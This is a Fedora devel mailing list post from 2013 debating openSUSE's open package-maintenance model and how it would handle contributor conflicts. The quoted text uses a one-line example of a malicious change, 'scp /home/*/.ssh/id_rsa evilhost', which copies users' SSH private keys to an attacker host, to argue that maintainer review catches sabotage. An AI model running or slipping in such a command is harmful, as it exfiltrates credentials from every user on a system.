On Tue, 14 May 2013 20:03:41 -0500 Michael Catanzaro <mike.catanzaro@xxxxxxxxx> wrote: > Well the open model has already been tried and proven in openSUSE, and > they're still using it because it actually works really well. There > aren't usually any issues regarding overlap of work, though admittedly > that community is a smaller than Fedora's. It's hard to get away with > scp /home/*/.ssh/id_rsa evilhost because every change is always reviewed > by a small group of maintainers responsible for a collection of > packages. How do they deal with a conflict? Imagine someone there splitting texlive into 2500 subpackages and then 100 angry contributors reverting it. What are they going to do in their "open" model then? -- Pete -- devel mailing list devel@xxxxxxxxxxxxxxxxxxxxxxx https://admin.fedoraproject.org/mailman/listinfo/devel
